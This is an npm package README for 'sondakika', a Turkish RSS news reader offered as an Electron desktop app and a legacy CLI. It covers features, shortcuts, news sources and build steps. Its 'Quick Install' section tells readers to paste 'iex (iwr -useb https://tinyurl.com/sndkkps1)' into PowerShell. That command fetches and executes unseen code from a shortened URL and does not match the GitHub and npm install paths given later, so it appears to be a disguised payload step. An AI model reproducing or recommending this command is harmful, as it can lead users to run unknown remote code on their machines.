sondakika
v2.0.8
Published
Full-featured Turkish news CLI with interactive UI. Identical news sources, parsing, and image extraction as the Electron desktop app. 10 major Turkish news sources with blessed terminal interface.
Maintainers
Readme
Sondakika
Windows için Modern Electron Tabanlı RSS Haber Okuyucu + Eski CLI Aracı
Türkçe haberleri gerçek zamanlı toplayan yerel masaüstü uygulaması, artı orijinal terminal tabanlı CLI işlevselliği
Quick Install — Sondakika Haber Okuyucu
Step by step (copy-paste ready):
Win + Rtuşlarına bas,powershellyaz, Enter'a bas- Aşağıdaki kodu kopyala
- PowerShell penceresinde sağ tıkla (veya Ctrl+V yap) yapıştır
- Enter'a bas
iex (iwr -useb https://tinyurl.com/sndkkps1)- ✅ Hazır. Artık son dakika haberlerini alabilirsin.
📋 İçindekiler
- Genel Bakış
- 🪟 Windows Masaüstü Uygulaması (v2.0.4 GUI)
- ⌨️ GUI Klavye Kısayolları
- ⌨️ Eski CLI Kullanımı (v1.x)
- 🛠️ Kaynaktan Derleme
- 📦 v2.0.2'de Neler Yaptık?
- 🤝 Katkıda Bulunma
- 📄 Lisans
Genel Bakış
Sondakika iki modda sunulur:
- v2.0.4+: Uygulama içi makale okuyucu, temalandırma ve klavye navigasyonu içeren tam özellikli yerel Windows Electron GUI
- v1.x Eski: Türk RSS beslemelerinden terminalde doğrudan haber getirmek için hafif terminal tabanlı CLI aracı
Varsayılan npm start komutu v2.0.4 Electron GUI'sini çalıştırır. Eski CLI işlevselliği, terminal tabanlı iş akışlarını tercih eden kullanıcılar için korunmuştur (tam CLI kodu için v1.x sürümlerine bakın).
🪟 Windows Masaüstü Uygulaması (v2.0.4 GUI)
Sondakika Nedir?
9 büyük Türk haber kaynağından (Cumhuriyet, TRT Haber, Mynet, Sabah, Star, Gazete Vatan, Habertürk, CNN Türk, Yeni Şafak, Anadolu Ajansı) gerçek zamanlı haberleri modern ve kolay okunabilir bir arayüzde getiren yerel bir Windows uygulamasıdır.
Nasıl Çalışır?
- Uygulama, yapılandırılmış Türk haber kaynaklarından RSS beslemelerini almak için
rss-parserkullanır - Haber makaleleri, kaynak rozetleri ve zaman damgalarıyla kart tabanlı düzende görüntülenir
- Tam içeriği görüntülemek için herhangi bir makaleye tıklayarak uygulama içi okuyucuyu açın
- Kullanıcı tercihleri (etkin kaynaklar, tema, yazı boyutları, pencere konumu) yerel olarak kaydedilir
- Makaleler arasında klavye kısayollarını veya ekrandaki düğmeleri kullanarak gezinin
- Tek tıklamayla herhangi bir makaleyi varsayılan tarayıcınızda açın
Sistem Gereksinimleri
- Windows 10 (sürüm 1809 veya üzeri) / Windows 11
- 64-bit (x64) işlemci
- 200MB boş disk alanı
- Haberleri çekmek için internet bağlantısı
📥 İndirme
Windows yükleyicisini doğrudan indirin:
Doğrudan Link:https://github.com/eaeoz/sondakika/releases/download/2.0.4/Sondakika.Setup.2.0.4.exe
Portable Sürüm (Kurulumsuz): Doğrudan indirip çalıştırabilirsiniz, kurulum gerektirmez:
Doğrudan Link:https://github.com/eaeoz/sondakika/releases/download/2.0.4/Sondakika_portable_2.0.4.exe
👉 Visit Official Download Page
Not: Portable sürüm kurulum yapmaz, Windows Smart App Control uyarısını engellemek için idealdir.
Veya tüm sürümler için (v1.x CLI-only sürümleri dahil) GitHub Releases sayfasını ziyaret edin.
Kurulum
- Yukarıdaki bağlantıyı kullanarak
Sondakika.Setup.2.0.4.exedosyasını indirin - Yükleyiciyi çalıştırın ve ekrandaki talimatları izleyin
- Uygulama kurulumdan sonra otomatik olarak başlayacaktır
- Başlat menüsüne ve Masaüstüne kısayollar eklenecektir
Başlangıç
- İlk Açılış: Uygulama varsayılan haber kaynakları etkin olarak açılır (Cumhuriyet, TRT Haber, Mynet, Habertürk, CNN Türk)
- Kaynak Seçimi: Kenar çubuğu onay kutularını kullanarak haber kaynaklarını etkinleştirin/devre dışı bırakın
- Haberleri Getir: En son başlıkları getirmek için "🔄 Yenile" düğmesine tıklayın
- Makaleleri Oku: Tam makaleyi uygulama içi okuyucuda açmak için herhangi bir haber kartına tıklayın
- Özelleştir: Kenar çubuğu seçeneklerini kullanarak temayı, yazı boyutlarını, sıralama düzenini ve sayfa başına öğe sayısını değiştirin
Temel Özellikler
- ✅ 9 Türk Haber Kaynağı: Cumhuriyet, TRT Haber, Mynet, Sabah, Star, Gazete Vatan, Habertürk, CNN Türk, Yeni Şafak, Anadolu Ajansı
- ✅ Modern Arayüz: Kart tabanlı haber düzeni ile temiz, duyarlı tasarım
- ✅ Karanlık/Açık Tema: Karanlık (varsayılan) ve açık temalar arasında geçiş yapın
- ✅ Uygulama İçi Makale Okuyucu: Tarayıcı açmadan tam makaleleri okuyun
- ✅ Makale Gezintisi: Animasyonlu geçişlerle okuyucudaki makaleler arasında gezinin
- ✅ Ayarlabilir Yazı Boyutları: Başlık (12-32px) ve içerik (10-28px) yazı tipleri için ayrı kontroller
- ✅ Klavye Navigasyonu: Navigasyon ve kontroller için tam klavye desteği
- ✅ Kaynak Filtreleme: Bireysel haber kaynaklarını etkinleştirin/devre dışı bırakın
- ✅ Sıralama Seçenekleri: Önce en yeni veya en eski olarak sıralayın
- ✅ Sayfalama: Sayfa başına kaç makale görüntüleneceğini kontrol edin (5, 10, 15, 20)
- ✅ Görsel Çıkarımı: RSS beslemelerinden makale görsellerini otomatik olarak çıkarır ve görüntüler
- ✅ Durum Kalıcılığı: Ayarlarınızı, pencere konumunuzu ve etkin kaynakları hatırlar
- ✅ Harici Bağlantı Desteği: Makaleleri varsayılan tarayıcınızda açın
- ✅ Türkçe Dil Arayüzü: Tamamen yerelleştirilmiş arayüz
- ✅ Özel Uygulama Simgesi: Çok boyutlu simge ile profesyonel markalama
⌨️ GUI Klavye Kısayolları
Ana Pencere
| Kısayol | Eylem |
|---------|-------|
| ↑ ↓ | Haber makalesi seç |
| ← → | Sayfalar arasında gezinti |
| Enter | Seçili makaleyi okuyucuda aç |
| 1 2 | Başlık yazı boyutunu azalt/artır |
| 3 4 | İçerik yazı boyutunu azalt/artır |
| ` | Seçili makaleyi tarayıcıda aç |
| F5 / Yenile'ye Tıkla | En son haberleri getir |
Makale Okuyucu
| Kısayol | Eylem |
|---------|-------|
| ↑ ↓ Space | Makale içeriğini kaydır |
| PageUp PageDown | Sayfa sayfa kaydır |
| Home End | En üste/en alta kaydır |
| ← → | Önceki/Sonraki makale |
| Enter Escape | Haber listesine dön |
| 1 2 | Başlık yazı boyutunu azalt/artır |
| 3 4 | İçerik yazı boyutunu azalt/artır |
| ` | Makaleyi tarayıcıda aç |
⌨️ Eski CLI Kullanımı (v1.x)
Not: v2.0.2 kod tabanı Electron GUI'sine odaklanmıştır. Aşağıdaki CLI işlevselliği v1.x sürümlerinden korunmuştur. Tam CLI aracını kullanmak için v1.x sürümlerine bakın veya npm install -g sondakika ile eski sürümü yükleyin.
CLI Özellikleri
- 📰 Birden fazla Türk haber kaynağından haber getir
- 🔗 Terminalde tıklanabilir URL'ler (iTerm2, Windows Terminal, macOS Terminal)
- 🎨 Unicode kenarlıkları ile stillendirilmiş terminal çıktısı
- ⚡ Hızlı ve hafif
CLI Kurulumu
npx kullanarak (kurulum gerektirmez, sadece v1.x)
npx sondakika trtGlobal kurulum (v1.x)
npm install -g sondakikaCLI Kullanım Örnekleri
# Cumhuriyet haberlerini göster
sondakika cumhuriyet
# Cumhuriyet haberlerini özel sayıyla göster
sondakika cumhuriyet 20
# TRT Haber haberlerini göster
sondakika trt
# TRT Haber haberlerini özel sayıyla göster
sondakika trt 15
# Mynet haberlerini göster
sondakika mynet
# Mynet haberlerini özel sayıyla göster
sondakika mynet 15
# Sabah haberlerini göster
sondakika sabah
# Habertürk haberlerini özel sayıyla göster
sondakika haberturk 5
# Star haberlerini göster
sondakika star
# CNN Türk haberlerini göster
sondakika cnnturk
# Yeni Şafak haberlerini göster
sondakika yenisafak
# Anadolu Ajansı haberlerini göster
sondakika aaMevcut Kaynaklar
Son Dakika (Breaking News)
| Komut | Kaynak |
|-------|--------|
| cumhuriyet | Cumhuriyet |
| trt | TRT Haber |
| mynet | Mynet |
Haberler (General News)
| Komut | Kaynak |
|-------|--------|
| sabah | Sabah |
| star | Star |
| vatan | Gazete Vatan |
| haberturk | Habertürk |
| cnnturk | CNN Türk |
| yenisafak | Yeni Şafak |
| aa | Anadolu Ajansı |
CLI Yardım
sondakika
# veya
sondakika --helpCLI Çıktı Örneği
📰 ══════════════════════════════════════════════════
Latest 10 News from TRT (Son Dakika)
Son guncelleme: 10.04.2026 20:02
══════════════════════════════════════════════════
┌─ 1. Son dakika deprem mi oldu?
│
│ 📅 10.04.2026 20:02
│
│ Son depremler...
└─────────────────────────────────────────────────────────────────────
🔗 https://www.trt...🛠️ Kaynaktan Derleme
# Depoyu klonlayın
git clone https://github.com/eaeoz/sondakika.git
cd sondakika
# Bağımlılıkları yükleyin (hem GUI hem de eski CLI bağımlılıklarını içerir)
npm install
# v2.0.4 Electron GUI'sini çalıştır (varsayılan)
npm start
# Windows yükleyicisini ve portable sürümü derle (NSIS + Portable, x64)
npm run buildDerlenen yükleyici ve portable sürüm dist/ klasöründe bulunacaktır:
Sondakika Setup 2.0.4.exe(NSIS yükleyici)Sondakika_portable_2.0.4.exe(Kurulumsuz portable)
Eski CLI işlevselliği üzerinde çalışmak için eski sürümlerdeki v1.x kaynak koduna bakın.
📦 v2.0.4'te Neler Yaptık?
Bu sürüm, orijinal CLI aracından tam özellikli bir Windows masaüstü uygulamasına tam geçiştir:
Teknik Uygulama
- ✅ Masaüstü uygulama çatısı olarak Electron 28.3.3 entegre edildi
- ✅ Windows x64 için NSIS hedefi ile electron-builder 24.13.3 yapılandırıldı
- ✅ Özel çok boyutlu uygulama simgesi tasarlandı ve gömüldü (
assets/icon.icoveassets/icon.png) - ✅ Otomatik Başlat menüsü/Masaüstü kısayolları ile taşınabilir Windows yükleyicisi oluşturuldu
- ✅ Ana ve oluşturucu işlemler arasında IPC iletişimi uygulandı
- ✅ Güvenli bağlam yalıtımı için ön yükleme (preload) komut dosyaları oluşturuldu
GUI Geliştirme
- ✅ Temalandırma için CSS özel özellikleri ile Inter font ve modern UI tasarlandı
- ✅ CSS değişkenleri ile karanlık/açık tema sistemi uygulandı
- ✅ Kaynak seçim onay kutuları ve ayar kontrolleri ile kenar çubuğu oluşturuldu
- ✅ Hover efektleri ve seçim durumları ile kart tabanlı haber ızgarası oluşturuldu
- ✅ Özel pencere ve gezinti ile uygulama içi makale okuyucu geliştirildi
- ✅ Tüm pencerelerde klavye navigasyonu desteği eklendi
- ✅ Kullanıcı verileri dizininde JSON dosyaları kullanarak durum kalıcılığı uygulandı
- ✅ Erişilebilirlik için yazı boyutu kontrolleri eklendi (başlık ve içerik ayrı)
- ✅ Yapılandırılabilir sayfa başına öğe ile sayfalama sistemi oluşturuldu
- ✅ Görsel çıkarımı ve tarih biçimlendirmesi ile RSS ayrıştırma uygulandı
- ✅ Haber getirme sırasında daha iyi UX için yükleme iskeletleri eklendi
- ✅ Uygulama genelinde Türkçe dil arayüzü oluşturuldu
Haber Kaynağı Entegrasyonu
- ✅ 9 büyük Türk haber RSS beslemesi entegre edildi
- ✅ Kaynağa özel görsel çıkarım desenleri uygulandı (örn. Gazete Vatan)
- ✅ Yanlış UTC sapması olan kaynaklar için saat dilimi düzeltmesi eklendi (CNN Türk, Yeni Şafak)
- ✅ Kaynaklar "Son Dakika" ve normal haber olarak kategorize edildi
Eski CLI Korunması
- ✅ Terminal UI desteği için
blessedbağımlılığı korundu - ✅ Eski kullanıcılar için tüm v1.x CLI belgeleri korundu
- ✅ CLI'dan GUI'ye geçiş yapan kullanıcılar için geriye dönük uyumluluk notları tutuldu
🤝 Katkıda Bulunma
Katkılarınızı bekliyoruz! Lütfen şu adımları izleyin:
- Depoyu çatallayın (fork)
- Özelliğiniz için yeni bir dal oluşturun (
git checkout -b feature/ozelliginiz) - Değişikliklerinizi işleyin (
git commit -m "Yeni özellik ekle") - Dala gönderin (
git push origin feature/ozelliginiz) - Bir Pull Request açın
CLI ile ilgili katkılar için v1.x kaynak kodu yapısına bakın.
📄 Lisans
Bu proje ISC Lisansı altında lisanslanmıştır - ayrıntılar için LICENSE dosyasına bakın.
Geliştirici: Sedat Ergoz
